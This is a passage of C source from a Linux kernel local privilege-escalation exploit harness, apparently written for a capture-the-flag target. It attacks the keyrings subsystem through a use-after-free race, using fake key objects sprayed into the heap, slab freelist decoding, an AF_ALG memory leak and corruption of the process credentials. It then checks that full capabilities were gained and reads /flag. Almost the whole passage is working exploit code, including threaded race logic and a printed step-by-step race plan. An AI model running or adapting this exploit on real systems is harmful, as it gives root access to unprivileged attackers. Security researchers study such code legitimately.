        if (owner >= 0) {
            printf("MARKER_OWNER index=%d serial=%d last_used=%#" PRIx64 "\n",
                   owner, serials[owner], value);
            free(serials);
            return 0;
        }
        usleep(50);
    } while (monotonic_msec() < deadline);
    free(serials);
    return -ETIMEDOUT;
}

typedef int (*race_trigger_fn)(void *context);

static int run_race_once(key_serial_t source_ring, const char *type,
                         const char *description, int cpu,
                         unsigned int timeout_ms, const char *fake_path,
                         const char *serial_path, size_t spray_count,
                         bool pack_edquot, bool repeat_search,
                         race_trigger_fn trigger, void *trigger_context,
                         struct k2_prep_gate *prep_gate)
{
    struct race_ctx ctx = {0};
    unsigned char fake[H_DIRECT_FAKE_BYTES];
    pthread_t blocker_threads[K2_BLOCKER_THREADS], search_thread,
              updater_thread;
    unsigned long long before, after;
    unsigned int blocker_created = 0;
    bool updater_created = false;
    bool search_created = false;
    int rc, prc;

    rc = read_exact_file(fake_path, fake, sizeof(fake));
    if (rc)
        return rc;
    rc = validate_gadget_fake(fake);
    if (rc)
        return rc;
    rc = read_serial_file(serial_path, &ctx.initial_serials,
                          &ctx.initial_count);
    if (rc)
        return rc;
    if (spray_count > ctx.initial_count) {
        rc = -EINVAL;
        goto out;
    }
    ctx.baseline_markers = calloc(ctx.initial_count,
                                  sizeof(*ctx.baseline_markers));
    ctx.spray_serials = calloc(spray_count, sizeof(*ctx.spray_serials));
    if (!ctx.baseline_markers || (spray_count && !ctx.spray_serials)) {
        rc = -ENOMEM; goto out;
    }
    /* Every integrated reclaim payload is the validated fake passed here, so
     * its marker baseline is already known.  Avoid 56 keyctl reads between
     * slab reback and the fatal trigger; that delay let queued RCU callbacks
     * wipe older fake objects at decoded B. */
    for (size_t i = 0; i < ctx.initial_count; i++)
        ctx.baseline_markers[i] = get_u64(fake + H_KEY_LAST_USED);
    if (spray_count)
        memcpy(ctx.spray_serials, ctx.initial_serials,
               spray_count * sizeof(*ctx.spray_serials));
    ctx.prep_gate = prep_gate;
    ctx.destination_ring = create_keyring("destination",
                                          KEY_SPEC_PROCESS_KEYRING);
    ctx.quota_packed = pack_edquot;
    if (pack_edquot) {
        ctx.holding_ring = create_keyring("holding",
                                          KEY_SPEC_PROCESS_KEYRING);
        ctx.quota_ring = create_keyring("quota", KEY_SPEC_PROCESS_KEYRING);
    }
    if (ctx.destination_ring < 0 ||
        (pack_edquot && (ctx.holding_ring < 0 || ctx.quota_ring < 0))) {
        rc = ctx.destination_ring < 0 ? ctx.destination_ring :
             ctx.holding_ring < 0 ? ctx.holding_ring : ctx.quota_ring;
        goto out;
    }
    /* Reuse retained carriers for the post-GP reclaim spray.  Creating a
     * duplicate 16-key set spent roughly 3.7 KiB of the 20 KiB user quota
     * without adding any replacement allocations after the grace period. */
    if (pack_edquot)
        rc = prepare_destination_and_quota(ctx.destination_ring,
                                           ctx.holding_ring, ctx.quota_ring,
                                           description, 64,
                                           &ctx.destination_entries,
                                           &ctx.quota_links);
    else
        rc = prepare_destination_only(ctx.destination_ring, description, 16,
                                      &ctx.destination_entries);
    if (rc)
        goto out;
    /* Existing carriers add no key objects and only a small link charge, but
     * make KEYCTL_READ's read-side critical section long enough for the
     * normal-priority search thread to preempt the SCHED_IDLE blocker while
     * it still holds D->sem. */
    for (size_t i = 0; i < ctx.initial_count; i++) {
        if (keyctl_raw(KEYCTL_LINK,
                       (unsigned long)ctx.initial_serials[i],
                       (unsigned long)ctx.destination_ring, 0, 0) < 0) {
            rc = -errno;
            goto out;
        }
        ctx.destination_entries++;
    }
    /* Deterministic failure after link-begin and before the second __key_get.
     * In --race-once-edquot this remains a fallback accounting control. */
    if (keyctl_raw(KEYCTL_RESTRICT_KEYRING,
                   (unsigned long)ctx.destination_ring, 0, 0, 0) < 0) {
        rc = -errno; goto out;
    }
    ctx.source_ring = source_ring;
    ctx.search_type = type;
    ctx.search_description = description;
    ctx.fake = fake;
    ctx.cpu = cpu;
    ctx.timeout_ms = timeout_ms;
    ctx.spray_count = spray_count;
    ctx.repeat_search = repeat_search;
    ctx.trace_critical = panic_on_oops_disabled();
    before = read_cap_eff();

    if (ctx.trace_critical) {
        dev_trace_toggle(true);
        puts("DEV_RECLAIM_TRACE_ENABLED");
        fflush(stdout);
    }

    atomic_store(&ctx.blocker_run, 1);
    for (unsigned int i = 0; i < K2_BLOCKER_THREADS; i++) {
        prc = pthread_create(&blocker_threads[i], NULL,
                             destination_blocker_worker, &ctx);
        if (prc) {
            rc = -prc;
            goto stop_threads;
        }
        blocker_created++;
    }
    while (atomic_load_explicit(&ctx.blocker_started,
                                memory_order_acquire) <
           (int)blocker_created)
        sched_yield();
    {
        uint64_t deadline = monotonic_msec() + 1000;
        while (atomic_load_explicit(&ctx.blocker_reads,
                                    memory_order_acquire) < 8 &&
               atomic_load_explicit(&ctx.blocker_done,
                                    memory_order_acquire) <
                   (int)blocker_created &&
               monotonic_msec() < deadline)
            sched_yield();
        if (atomic_load_explicit(&ctx.blocker_reads,
                                 memory_order_acquire) < 8) {
            rc = -EAGAIN;
            goto stop_threads;
        }
    }
    prc = pthread_create(&updater_thread, NULL, updater_worker, &ctx);
    if (prc) { rc = -prc; goto stop_threads; }
    updater_created = true;
    prc = pthread_create(&search_thread, NULL, search_worker, &ctx);
    if (prc) {
        atomic_store(&ctx.search_started, 1);
        atomic_store(&ctx.search_done, 1);
        pthread_join(updater_thread, NULL);
        updater_created = false;
        rc = -prc; goto stop_threads;
    }
    search_created = true;
    if (trigger) {
        uint64_t deadline = monotonic_msec() + 1000;
        while (!atomic_load_explicit(&ctx.search_attempts,
                                     memory_order_acquire) &&
               !atomic_load_explicit(&ctx.search_done,
                                     memory_order_acquire) &&
               monotonic_msec() < deadline)
            sched_yield();
        if (!atomic_load_explicit(&ctx.search_attempts,
                                  memory_order_acquire)) {
            rc = -EAGAIN;
            goto stop_threads;
        }
        if (ctx.prep_gate) {
            deadline = monotonic_msec() + 5000;
            while (!atomic_load_explicit(&ctx.prep_runtime_ready,
                                         memory_order_acquire) &&
                   monotonic_msec() < deadline)
                sched_yield();
            if (!atomic_load(&ctx.prep_runtime_ready) || ctx.update_rc) {
                rc = ctx.update_rc ? ctx.update_rc : -ETIMEDOUT;
                goto stop_threads;
            }
        }
        rc = trigger(trigger_context);
        if (rc)
            goto stop_threads;
    }
    pthread_join(updater_thread, NULL);
    updater_created = false;
    atomic_store_explicit(&ctx.search_stop, 1, memory_order_release);
    atomic_store_explicit(&ctx.blocker_run, 0, memory_order_release);
    for (unsigned int i = 0; i < blocker_created; i++)
        pthread_join(blocker_threads[i], NULL);
    blocker_created = 0;
    pthread_join(search_thread, NULL);
    search_created = false;
    after = read_cap_eff();
    printf("RACE_RESULT failure_mode=%s owner=%d search=%ld search_errno=%d sched_rc=%d "
           "blocker=%ld blocker_errno=%d blocker_sched_rc=%d blocker_reads=%u "
           "spinner_sched_rc=%d "
           "dest_entries=%u quota_links=%u "
           "update_rc=%d gp_rc=%d spray_rc=%d "
           "CapEff_before=%016llx CapEff_after=%016llx\n",
           ctx.quota_packed ? "edquot_then_reject_fallback" : "restrict_reject",
           ctx.owner_index, ctx.search_result, ctx.search_errno, ctx.sched_rc,
           ctx.blocker_result, ctx.blocker_errno, ctx.blocker_sched_rc,
           atomic_load(&ctx.blocker_reads), ctx.spinner_sched_rc,
           ctx.destination_entries,
           ctx.quota_links, ctx.update_rc, ctx.gp_rc, ctx.spray_rc,
           before, after);
    if ((after & UINT64_C(0xffffffff)) == UINT64_C(0xffffffff) &&
        after != before) {
        int flag_rc = try_flag();
        printf("GADGET_CAP_WRITE_OBSERVED flag_rc=%d\n", flag_rc);
        rc = flag_rc;
    } else {
        rc = ctx.owner_index < 0 ? -ETIMEDOUT : -EAGAIN;
    }
    goto out;
stop_threads:
    atomic_store(&ctx.search_started, 1);
    atomic_store(&ctx.search_stop, 1);
    atomic_store(&ctx.blocker_run, 0);
    if (updater_created)
        pthread_join(updater_thread, NULL);
    for (unsigned int i = 0; i < blocker_created; i++)
        pthread_join(blocker_threads[i], NULL);
    if (search_created)
        pthread_join(search_thread, NULL);
out:
    free(ctx.initial_serials);
    free(ctx.baseline_markers);
    free(ctx.spray_serials);
    return rc;
}

static unsigned long long read_cap_eff(void)
{
    unsigned long long cap = 0;

    (void)read_cap_eff_checked(&cap);
    return cap;
}

static int read_cap_eff_checked(unsigned long long *cap)
{
    FILE *file;
    char line[256];

    if (!cap)
        return -EINVAL;
    file = fopen("/proc/self/status", "r");
    if (!file)
        return -errno;
    while (fgets(line, sizeof(line), file)) {
        if (sscanf(line, "CapEff:%llx", cap) == 1) {
            fclose(file);
            return 0;
        }
    }
    fclose(file);
    return -ENODATA;
}

static int try_flag(void)
{
    char buf[256]; int fd = open("/flag", O_RDONLY), saved; ssize_t n;
    if (fd < 0) return -errno;
    n = read(fd, buf, sizeof(buf) - 1); saved = errno; close(fd);
    if (n < 0) return -saved;
    buf[n] = 0; printf("FLAG_READ %s\n", buf); return 0;
}

static int selftest(void)
{
#define SELFTEST_CHECK(condition, label) do { \
    if (!(condition)) { \
        fprintf(stderr, "SELFTEST_FAIL %s\n", label); \
        return 1; \
    } \
} while (0)
    const uint64_t base = UINT64_C(0xfffffe90e50db000);
    const uint64_t random = UINT64_C(0x6d3173f9ac842b10);
    uint64_t enc[H_USER_PAYLOAD_OBJECTS_PER_SLAB];
    struct freelist_solution sol;
    struct fake_spec spec = {
        .cred = UINT64_C(0xfffffe91a2345100),
        .type = H_KEY_TYPE_USER_LINK,
        .domain_tag = H_DEFAULT_DOMAIN_TAG_LINK,
        .description = UINT64_C(0xffffffff83ad8b9b),
        .hash = UINT64_C(0x1122334455667789),
        .x = UINT64_C(0x5151515151510101),
    };
    unsigned char fake[H_DIRECT_FAKE_BYTES], filp[4096] = {0};
    unsigned char seed[4096], seeded_windows[4096] = {0};
    struct gap_plan payload_plan, filp_plan;
    uint64_t cred; unsigned int hits, control_matches = 0;

    make_synthetic_freelist(base, random, enc);
    SELFTEST_CHECK(solve_freelist(enc, &sol) == 0 && sol.base == base &&
                   sol.random == random, "freelist_solver");
    build_direct_fake(fake, &spec);
    SELFTEST_CHECK(get_u32(fake + H_KEY_USAGE) == 1 &&
        get_u64(fake + H_KEY_USER) == spec.cred - 8 &&
        get_u64(fake + H_KEY_LAST_USED) == H_FAKE_MARKER_SENTINEL,
        "fake_usage_user_marker");
    SELFTEST_CHECK(get_u64(fake + H_KEY_USER) == spec.cred - 8,
                   "fake_user");
    SELFTEST_CHECK((get_u64(fake + H_KEY_FLAGS) &
                    (UINT64_C(1) << H_KEY_FLAG_IN_QUOTA)) != 0,
                   "fake_quota_flag");
    SELFTEST_CHECK(get_u64(fake + H_KEY_USER) + H_KEY_USER_LOCK ==
            spec.cred + H_CRED_SECUREBITS &&
        get_u64(fake + H_KEY_USER) + H_KEY_USER_QNKEYS ==
            spec.cred + H_CRED_CAP_PERMITTED + 4 &&
        get_u64(fake + H_KEY_USER) + H_KEY_USER_QNBYTES ==
            spec.cred + H_CRED_CAP_EFFECTIVE,
        "quota_cred_overlap");
    int payload_plan_rc = build_payload_freelist_plan(&payload_plan);
    if (payload_plan_rc || payload_plan.expected_return != 4096 ||
        payload_plan.request_len != 4352)
        fprintf(stderr, "SELFTEST_DIAG payload_plan rc=%d gaps=%zu request=%zu return=%zu\n",
                payload_plan_rc, payload_plan.count, payload_plan.request_len,
                payload_plan.expected_return);
    SELFTEST_CHECK(payload_plan_rc == 0 &&
        payload_plan.expected_return == 4096 &&
        payload_plan.request_len == 4352, "payload_gap_plan");
    for (unsigned int i = 0; i < H_USER_PAYLOAD_OBJECTS_PER_SLAB; i++)
        SELFTEST_CHECK(plan_has_gap(&payload_plan,
                       i * H_USER_PAYLOAD_BUCKET + H_USER_PAYLOAD_FREEPTR),
                       "payload_target_gap");
    make_public_control_seed(seed, 7);
    for (unsigned int i = 0; i < H_USER_PAYLOAD_OBJECTS_PER_SLAB; i++) {
        size_t off = i * H_USER_PAYLOAD_BUCKET + H_USER_PAYLOAD_FREEPTR;
        memcpy(seeded_windows + off, seed + off, 8);
        if (memcmp(seeded_windows + off, seed + off, 8) == 0)
            control_matches++;
        if (i)
            SELFTEST_CHECK(memcmp(seed + off, seed + off -
                           H_USER_PAYLOAD_BUCKET, 8) != 0,
                           "public_control_unique_seed");
    }
    SELFTEST_CHECK(control_matches == H_USER_PAYLOAD_OBJECTS_PER_SLAB,
                   "public_control_windows");
    SELFTEST_CHECK(build_filp_cred_plan(&filp_plan) == 0 &&
                   filp_plan.expected_return == 4096, "filp_gap_plan");
    for (unsigned int i = 0; i < H_FILES_PER_ORDER0_SLAB; i++)
        SELFTEST_CHECK(plan_has_gap(&filp_plan,
                                    i * H_FILE_STRIDE + H_FILE_CRED),
                       "filp_target_gap");
    for (unsigned int i = 0; i < H_FILES_PER_ORDER0_SLAB; i++)
        put_u64(filp + i * H_FILE_STRIDE + H_FILE_CRED, spec.cred);
    SELFTEST_CHECK(scan_filp_cred(filp, &cred, &hits) == 0 &&
                   cred == spec.cred && hits == 21, "filp_cred_scanner");
    printf("SELFTEST_PASS base=%#" PRIx64 " random=%#" PRIx64
           " fake_user=%#" PRIx64 " filp_cred=%#" PRIx64 " hits=%u "
           "payload_gaps=%zu payload_request=%zu filp_gaps=%zu "
           "public_control_windows=%u\n",
           sol.base, sol.random, get_u64(fake + H_KEY_USER), cred, hits,
           payload_plan.count, payload_plan.request_len, filp_plan.count,
           control_matches);
#undef SELFTEST_CHECK
    return 0;
}

static void usage(FILE *f)
{
    fprintf(f,
        "usage:\n"
        "  exploit\n"
        "  k2_chain_harness --selftest\n"
        "  k2_chain_harness --integrated-selftest\n"
        "  k2_chain_harness --vuln-trigger [PROFILE]\n"
        "  k2_chain_harness --full-chain SEARCH_CPU TIMEOUT_MS SPRAY_COUNT\n"
        "  k2_chain_harness --integrated PAYLOAD_PAGE FILP_PAGE SEARCH_CPU TIMEOUT_MS SPRAY_COUNT  # same-boot debug fixtures only\n"
        "  k2_chain_harness --trainer-page OUT.bin\n"
        "  k2_chain_harness --decode-freelist PAGE.bin\n"
        "  k2_chain_harness --scan-filp PAGE.bin\n"
        "  k2_chain_harness --afalg-window GAP EXCESS DELAY_US OUT.bin\n"
        "  k2_chain_harness --afalg-freelist DELAY_US OUT.bin\n"
        "  k2_chain_harness --afalg-freelist-control CPU ATTEMPTS DELAY_US OUT.bin\n"
        "  k2_chain_harness --afalg-filp DELAY_US OUT.bin\n"
        "  k2_chain_harness --retire-leak COUNT ATTEMPTS DELAY_US FAKE.bin OUT.bin\n"
        "  k2_chain_harness --retire-leak-pressure COUNT ATTEMPTS DELAY_US RESERVE_MIB FAKE.bin OUT.bin\n"
        "  k2_chain_harness --filp-leak COUNT ATTEMPTS DELAY_US OUT.bin\n"
        "  k2_chain_harness --make-fake CRED TYPE TAG DESC HASH X OUT.bin\n"
        "  k2_chain_harness --spray-fakes RING COUNT FAKE.bin SERIALS.txt\n"
        "  k2_chain_harness --poll-marker SERIALS.txt TIMEOUT_MS\n"
        "  k2_chain_harness --race-once SOURCE TYPE DESCRIPTION CPU TIMEOUT_MS FAKE.bin SERIALS.txt SPRAY_COUNT\n"
        "  k2_chain_harness --race-once-edquot SOURCE TYPE DESCRIPTION CPU TIMEOUT_MS FAKE.bin SERIALS.txt SPRAY_COUNT\n"
        "  k2_chain_harness --race-plan\n"
        "  k2_chain_harness --post-check\n"
        "\nTRAINER/OFFLINE modes never need a vulnerable kernel. ORACLE modes use "
        "the public AF_ALG helper. LIVE --race-once remains HOLD; see README.md.\n");
}

static int parse_u64_arg(const char *text, uint64_t *value)
{
    char *end;
    unsigned long long v;
    errno = 0;
    v = strtoull(text, &end, 0);
    if (errno || !*text || *end)
        return -EINVAL;
    *value = (uint64_t)v;
    return 0;
}

static int parse_long_arg(const char *text, long *value)
{
    char *end;
    long v;
    errno = 0;
    v = strtol(text, &end, 0);
    if (errno || !*text || *end)
        return -EINVAL;
    *value = v;
    return 0;
}

static int report_rc(const char *stage, int rc)
{
    if (!rc)
        return 0;
    fprintf(stderr, "%s: %s (%d)\n", stage,
            rc < 0 ? strerror(-rc) : "failed", rc);
    return 1;
}

static int capture_plan_file(const char *label, const struct gap_plan *plan,
                             useconds_t delay, const char *path)
{
    unsigned char *record = NULL;
    size_t length = 0;
    int rc = afalg_plan_record(plan, delay, &record, &length);
    if (!rc)
        rc = write_exact_file(path, record, length);
    if (!rc)
        printf("ORACLE_AFALG_%s gaps=%zu request=%zu expected_return=%zu "
               "actual_return=%zu output=%s\n", label, plan->count,
               plan->request_len, plan->expected_return, length, path);
    free(record);
    return rc;
}

static void print_race_plan(void)
{
    puts("LIVE_RACE_PLAN HOLD");
    puts("1 refill recovered 256-byte virtual slab slots with identical direct fakes at data+24");
    puts("2 install reject-all on attacker D; optional --race-once-edquot retains exact 4-byte quota control");
    puts("3 after eight dense reads, X's same-CPU SCHED_IDLE KEYCTL_READ holds D sem; B blocks on down_write");
    puts("4 A observes marker, yields B out of RCU, then a normal spinner holds X during update and GLOBAL GP");
    puts("5 A updates pre-created same-size carriers to reclaim P with usage=1, then stops spinner");
    puts("6 X releases; reject-all returns EPERM after link-begin and before second __key_get, rolling edit/quota back");
    puts("7 B key_ref_put reaches synchronous cred quota writes");
    puts("GATE_0_PUBLIC_CONTROL require all 16 seeded windows from the exact 32-gap helper");
    puts("GATE_1A_PAYLOAD_BASE require reached_reserve=1 and recover one real payload-slab base from one 4K multi-gap record");
    puts("GATE_1_REAL_SLAB reback that virtual base and observe the expected carrier marker");
    puts("GATE_2_RACE prove X-held/B-blocked plus callback and same-slot reclaim before cleanup/panic");
}

#include "integrated_chain.inc"

int main(int argc, char **argv)
{
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    if (argc == 1)
        return report_rc("full-chain", run_full_chain(1, 5000, 1));
    if ((argc == 2 || argc == 3) &&
        strcmp(argv[1], "--vuln-trigger") == 0) {
        const char *profile = argc == 3 ? argv[2] :
            (k2_kernel_has_kasan() ? "lts-6.12.114-kasan" :
                                     "lts-6.12.114");
        return report_rc("vuln-trigger", run_k2_vuln_trigger(profile));
    }
    if (argc == 2 && strcmp(argv[1], "--integrated-selftest") == 0)
        return run_integrated_selftest();
    if (argc == 5 && strcmp(argv[1], "--full-chain") == 0) {
        long cpu;
        uint64_t timeout, sprays;
        if (parse_long_arg(argv[2], &cpu) || cpu < 0 || cpu > INT32_MAX ||
            parse_u64_arg(argv[3], &timeout) || timeout > UINT32_MAX ||
            parse_u64_arg(argv[4], &sprays) || !sprays ||
            sprays > SIZE_MAX)
            return report_rc("full-chain-args", -EINVAL);
        return report_rc("full-chain",
            run_full_chain((int)cpu, (unsigned int)timeout,
                           (size_t)sprays));
    }
    if (argc == 7 && strcmp(argv[1], "--integrated") == 0) {
        long cpu;
        uint64_t timeout, sprays;
        if (parse_long_arg(argv[4], &cpu) || cpu < 0 || cpu > INT32_MAX ||
            parse_u64_arg(argv[5], &timeout) || timeout > UINT32_MAX ||
            parse_u64_arg(argv[6], &sprays) || !sprays ||
            sprays > SIZE_MAX)
            return report_rc("integrated-args", -EINVAL);
        return report_rc("integrated",
            run_integrated_chain(argv[2], argv[3], (int)cpu,
                                 (unsigned int)timeout, (size_t)sprays));
    }
    if (argc == 2 && strcmp(argv[1], "--selftest") == 0)
        return selftest();
    if (argc == 3 && strcmp(argv[1], "--trainer-page") == 0)
        return report_rc("trainer-page", make_trainer_page(argv[2]));
    if (argc == 3 && strcmp(argv[1], "--decode-freelist") == 0) {
        unsigned char page[4096]; uint64_t enc[16]; struct freelist_solution s;
        int rc = read_page_file(argv[2], page);
        if (rc) { fprintf(stderr, "read: %s\n", strerror(-rc)); return 1; }
        extract_freelist_words(page, enc);
        rc = solve_freelist(enc, &s);
        if (rc) { fprintf(stderr, "solve: %s\n", strerror(-rc)); return 1; }
        printf("FREELIST_SOLVED base=%#" PRIx64 " random=%#" PRIx64
               " terminal=%d\n", s.base, s.random, s.terminal);
        return 0;
    }
    if (argc == 3 && strcmp(argv[1], "--scan-filp") == 0) {
        unsigned char page[4096]; uint64_t cred; unsigned int hits;
        int rc = read_page_file(argv[2], page);
        if (!rc) rc = scan_filp_cred(page, &cred, &hits);
        if (rc) { fprintf(stderr, "scan: %s\n", strerror(-rc)); return 1; }
        printf("FILP_CRED candidate=%#" PRIx64 " hits=%u\n", cred, hits);
        return 0;
    }
    if (argc == 6 && strcmp(argv[1], "--afalg-window") == 0) {
        uint64_t gv, ev, dv;
        unsigned char *record = NULL; size_t len = 0; int rc;
        if (parse_u64_arg(argv[2], &gv) || parse_u64_arg(argv[3], &ev) ||
            parse_u64_arg(argv[4], &dv) || gv > SIZE_MAX || ev > SIZE_MAX ||
            dv > UINT32_MAX)
            return report_rc("afalg-window-args", -EINVAL);
        rc = afalg_gap_record((size_t)gv, (size_t)ev, (useconds_t)dv,
                              &record, &len);
        if (!rc)
            rc = write_exact_file(argv[5], record, len);
        if (rc) { free(record); return report_rc("afalg-window", rc); }
        printf("AFALG_RECORD gap=%zu excess=%zu returned=%zu output=%s\n",
               (size_t)gv, (size_t)ev, len, argv[5]);
        free(record);
        return 0;
    }
    if (argc == 4 && (strcmp(argv[1], "--afalg-freelist") == 0 ||
                      strcmp(argv[1], "--afalg-filp") == 0)) {
        uint64_t dv; struct gap_plan plan; int rc;
        if (parse_u64_arg(argv[2], &dv) || dv > UINT32_MAX)
            return report_rc("afalg-plan-args", -EINVAL);
        rc = strcmp(argv[1], "--afalg-freelist") == 0 ?
             build_payload_freelist_plan(&plan) : build_filp_cred_plan(&plan);
        if (!rc)
            rc = capture_plan_file(argv[1] + 8, &plan, (useconds_t)dv,
                                   argv[3]);
        return report_rc("afalg-plan", rc);
    }
    if (argc == 6 && strcmp(argv[1], "--afalg-freelist-control") == 0) {
        long cpu;
        uint64_t attempts, delay;
        if (parse_long_arg(argv[2], &cpu) || cpu < 0 || cpu > INT32_MAX ||
            parse_u64_arg(argv[3], &attempts) || !attempts ||
            attempts > UINT32_MAX || parse_u64_arg(argv[4], &delay) ||
            delay > UINT32_MAX)
            return report_rc("afalg-freelist-control-args", -EINVAL);
        return report_rc("afalg-freelist-control",
            run_public_freelist_control((int)cpu, (unsigned int)attempts,
                                        (useconds_t)delay, argv[5]));
    }
    if (argc == 7 && strcmp(argv[1], "--retire-leak") == 0) {
        uint64_t count, attempts, delay;
        if (parse_u64_arg(argv[2], &count) ||
            parse_u64_arg(argv[3], &attempts) ||
            parse_u64_arg(argv[4], &delay) || count > SIZE_MAX ||
            attempts > UINT32_MAX || delay > UINT32_MAX)
            return report_rc("retire-leak-args", -EINVAL);
        return report_rc("retire-leak",
            retire_and_leak_payloads((size_t)count, (unsigned int)attempts,
                                     (useconds_t)delay, argv[5], argv[6]));
    }
    if (argc == 8 && strcmp(argv[1], "--retire-leak-pressure") == 0) {
        struct anonymous_pressure pressure;
        uint64_t count, attempts, delay, reserve_mib;
        int rc;
        if (parse_u64_arg(argv[2], &count) ||
            parse_u64_arg(argv[3], &attempts) ||
            parse_u64_arg(argv[4], &delay) ||
            parse_u64_arg(argv[5], &reserve_mib) || count > SIZE_MAX ||
            attempts > UINT32_MAX || delay > UINT32_MAX || !reserve_mib)
            return report_rc("retire-leak-pressure-args", -EINVAL);
        rc = anonymous_pressure_fill(reserve_mib, &pressure);
        if (!rc)
            rc = retire_and_leak_payloads((size_t)count,
                                          (unsigned int)attempts,
                                          (useconds_t)delay,
                                          argv[6], argv[7]);
        anonymous_pressure_release(&pressure);
        return report_rc("retire-leak-pressure", rc);
    }
    if (argc == 6 && strcmp(argv[1], "--filp-leak") == 0) {
        uint64_t count, attempts, delay;
        if (parse_u64_arg(argv[2], &count) ||
            parse_u64_arg(argv[3], &attempts) ||
            parse_u64_arg(argv[4], &delay) || count > SIZE_MAX ||
            attempts > UINT32_MAX || delay > UINT32_MAX)
            return report_rc("filp-leak-args", -EINVAL);
        return report_rc("filp-leak",
            retire_and_leak_filps((size_t)count, (unsigned int)attempts,
                                  (useconds_t)delay, argv[5]));
    }
    if (argc == 9 && strcmp(argv[1], "--make-fake") == 0) {
        struct fake_spec s = {0};
        unsigned char fake[H_DIRECT_FAKE_BYTES]; int rc;
        if (parse_u64_arg(argv[2], &s.cred) ||
            parse_u64_arg(argv[3], &s.type) ||
            parse_u64_arg(argv[4], &s.domain_tag) ||
            parse_u64_arg(argv[5], &s.description) ||
            parse_u64_arg(argv[6], &s.hash) ||
            parse_u64_arg(argv[7], &s.x))
            return report_rc("make-fake-args", -EINVAL);
        build_direct_fake(fake, &s);
        rc = write_exact_file(argv[8], fake, sizeof(fake));
        if (rc)
            return report_rc("make-fake", rc);
        printf("FAKE_WRITTEN %s bytes=%zu user=%#" PRIx64 " marker=%#" PRIx64 "\n",
               argv[8], sizeof(fake), get_u64(fake + H_KEY_USER),
               get_u64(fake + H_KEY_LAST_USED));
        return 0;
    }
    if (argc == 6 && strcmp(argv[1], "--spray-fakes") == 0) {
        long ring; uint64_t count;
        if (parse_long_arg(argv[2], &ring) || ring < INT32_MIN ||
            ring > INT32_MAX || parse_u64_arg(argv[3], &count) ||
            count > SIZE_MAX)
            return report_rc("spray-args", -EINVAL);
        return report_rc("spray-fakes",
                         run_spray((key_serial_t)ring, (size_t)count,
                                   argv[4], argv[5]));
    }
    if (argc == 4 && strcmp(argv[1], "--poll-marker") == 0) {
        uint64_t timeout;
        if (parse_u64_arg(argv[3], &timeout) || timeout > UINT32_MAX)
            return report_rc("poll-marker-args", -EINVAL);
        return report_rc("poll-marker",
                         run_marker_poll(argv[2], (unsigned int)timeout));
    }
    if (argc == 10 && (strcmp(argv[1], "--race-once") == 0 ||
                       strcmp(argv[1], "--race-once-edquot") == 0)) {
        long source, cpu; uint64_t timeout, sprays;
        if (parse_long_arg(argv[2], &source) || source < INT32_MIN ||
            source > INT32_MAX || parse_long_arg(argv[5], &cpu) ||
            cpu < -1 || cpu > INT32_MAX ||
            parse_u64_arg(argv[6], &timeout) || timeout > UINT32_MAX ||
            parse_u64_arg(argv[9], &sprays) || sprays > SIZE_MAX)
            return report_rc("race-args", -EINVAL);
        return report_rc("race-once",
            run_race_once((key_serial_t)source, argv[3], argv[4], (int)cpu,
                          (unsigned int)timeout, argv[7], argv[8],
                          (size_t)sprays,
                          strcmp(argv[1], "--race-once-edquot") == 0,
                           false, NULL, NULL, NULL));
    }
    if (argc == 2 && strcmp(argv[1], "--race-plan") == 0) {
        print_race_plan();
        return 0;
    }
    if (argc == 2 && strcmp(argv[1], "--post-check") == 0) {
        unsigned long long before = read_cap_eff(); int rc = try_flag();
        printf("POST_CHECK CapEff=%016llx flag_rc=%d\n", before, rc);
        return rc ? 1 : 0;
    }
    usage(stderr);
    return 2;
}